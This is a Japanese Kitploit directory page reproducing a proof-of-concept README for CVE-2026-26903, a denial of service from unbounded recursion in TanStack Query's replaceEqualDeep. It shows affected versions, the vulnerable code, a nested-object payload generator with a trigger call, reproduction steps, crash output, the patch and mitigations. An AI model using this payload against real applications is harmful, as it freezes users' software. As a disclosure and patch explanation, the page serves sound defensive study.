Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-26903-PoC — CVE-2026-26903 の実証用 PoC | Kitploit
ツール/GitHubGitHub/john-jung/cve-2026-26903-poc
脆弱性分析エクスプロイトウェブセキュリティ論文と研究学習と教育
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

CVE-2026-26903 の実証用 PoC

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-26903 PoC

TanStack QueryのreplaceEqualDeep関数における無制限再帰によるサービス拒否

深くネストされたオブジェクトを含む単一の細工されたクエリ更新で、JavaScriptスレッドを無期限にフリーズさせ、アプリケーション全体を応答不能にすることができます。認証や特別な権限は必要ありません。

影響を受けるバージョン

この脆弱性は、2026年1月14日に公開されたPR #10032 によって @tanstack/[email protected] で修正されました。

パッケージ影響を受けるバージョン修正バージョン
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-query脆弱なquery-coreに依存5.90.18+
@tanstack/vue-query脆弱なquery-coreに依存5.90.18+
@tanstack/solid-query脆弱なquery-coreに依存5.90.18+
@tanstack/svelte-query脆弱なquery-coreに依存6.1.7+

公式説明

CVE-2026-26903: replaceEqualDeepにおける無制限再帰によるサービス拒否 (重要度: 中)

TanStack QueryのreplaceEqualDeep関数は、ネストされたオブジェクトを深さ制限なしで再帰的に比較します。深くネストされたデータ構造を処理する際、これにより無制限の再帰が発生し、スタックオーバーフローとアプリケーションのフリーズを引き起こす可能性があります。

— MITRE 経由で割り当て

脆弱性の概要

TanStack QueryのreplaceEqualDeep関数は、クエリデータが実際に変更されたかどうかを判定するために内部的に使用され、可能な場合はオブジェクト参照を保持して再レンダリングを最適化します。この関数は、深い等価比較を実行するためにオブジェクトのプロパティを再帰的に走査します。

問題

再帰的な実装には深さ制限や循環検出がありません:

root@kitploit:~
function replaceEqualDeep(a, b) {
  // ... type checks ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... shallow equality checks ...
    
    // VULNERABLE: Unbounded recursion here
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

攻撃メカニズム

  1. トリガー: 深くネストされたデータを含む、replaceEqualDeepを通過する任意のクエリ更新
  2. ペイロード: 5,000階層以上にネストされたオブジェクト
  3. 影響: JavaScriptスレッドの即時フリーズ、UIの完全な応答不能
  4. 持続性: ページを再読み込みするまでアプリケーションはフリーズしたまま

攻撃面

  • 直接: ネストされたレスポンスデータを持つuseQueryフック
  • 間接: setQueryData、invalidateQueries、またはその他のクエリキャッシュ操作
  • クライアント側: サーバーの関与は不要 — 純粋にクライアント側のDoS

リポジトリ構造

root@kitploit:~
CVE-2026-26903-PoC/
├── README.md                 # This file
├── LICENSE
├── poc.js                    # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html   # Browser PoC (interactive visual demo)

再現手順

1. リポジトリのクローンとセットアップ

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Node.js PoCの実行(スタックオーバーフロークラッシュ)

root@kitploit:~
node poc.js

3. 期待される出力

root@kitploit:~
Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. ブラウザPoCの実行(インタラクティブなビジュアルデモ)

root@kitploit:~
open tanstack-query-poc.html
  1. アプリが応答することを確認:
    • カウンターボタンをクリック
    • 入力フィールドに入力
    • ライブタイマーがカウントしていることを確認
  2. DoSをトリガー:
    • "TRIGGER DoS (10000 depth) - App Will Freeze" をクリック
    • 結果: タイマーが停止し、ボタンが応答しなくなり、ページがフリーズする

詳細なテスト

オプションA: スタンドアロンHTMLデモ (依存関係なし)

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

オプションB: Reactアプリケーション (現実的なシナリオ)

root@kitploit:~
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions

期待される動作

攻撃前:

  • カウンターボタンが増加する
  • ライブタイマーが毎秒更新される
  • 入力フィールドが入力に反応する
  • すべてのUI操作が正常に動作する

攻撃後:

  • タイマーが現在の値でフリーズする
  • カウンターボタンが応答しなくなる
  • 入力フィールドが反応しなくなる
  • コンソールにエラーは表示されない(スレッドがブロックされているのであって、クラッシュしたわけではない)
  • 唯一の解決策: ブラウザのタブ/ウィンドウを再読み込みする

エクスプロイトの仕組み

PoCは深くネストされたオブジェクトを生成し、replaceEqualDeepにそれらを処理させます:

1. ペイロード生成

root@kitploit:~
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }

2. 攻撃トリガー

root@kitploit:~
const oldData = generateDeep(10000);  // 10,000 levels deep
const newData = generateDeep(10000);  // Different object, same structure

// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);

3. 再帰チェーン

root@kitploit:~
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Level 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Level 2
        ├── replaceEqualDeep(...)                   // Level 3
            └── ... (continues for 10,000 levels)

各再帰呼び出しは新しいスタックフレームを追加し、JavaScriptエンジンのコールスタックが使い果たされるまで続き、スレッドをフリーズさせます。

脆弱なコード

場所: @tanstack/query-core/src/utils.ts (おおよそ)

root@kitploit:~
export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE: No depth limit or cycle detection
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

パッチ

修正(TanStack Queryのコミット269351bで適用)は、無制限の再帰を防ぐために深さ制限を追加します:

root@kitploit:~
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... middle section unchanged ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

主な変更点:

  1. depthパラメータを追加 — 再帰の深さを追跡するためのデフォルト値0
  2. 深さ制限チェックを追加 — depth > 500の場合、即座にbを返す
  3. 再帰呼び出しで深さを増加 — replaceEqualDeep(aItem, bItem, depth + 1) このシンプルな修正により、スタックオーバーフローを防ぎつつ、妥当なネスト(500階層は実世界のデータ構造には十分以上)を許可します。

緩和策

一時的な回避策

  1. TanStack Queryに渡す前に深くネストされたデータをフラット化する
  2. 深さ制限付きのカスタム比較関数を実装する
  3. 開発時にクエリデータの複雑さを監視する

恒久的な修正

replaceEqualDeepに深さ制限を実装します:

root@kitploit:~
function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Prevent deep recursion
  if (a === b) return a;
  
  // ... existing logic ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... rest of function
}

または、再帰の代わりに反復的な走査を使用します。

参考文献

  • GitHubセキュリティアドバイザリ

免責事項

この概念実証は、教育および許可を得たセキュリティテストの目的のみで提供されます。責任を持って使用し、自分が所有しているか、明示的なテスト許可を得たアプリケーションに対してのみ使用してください。著者は、この情報の誤用について一切責任を負いません。

ツールをダウンロード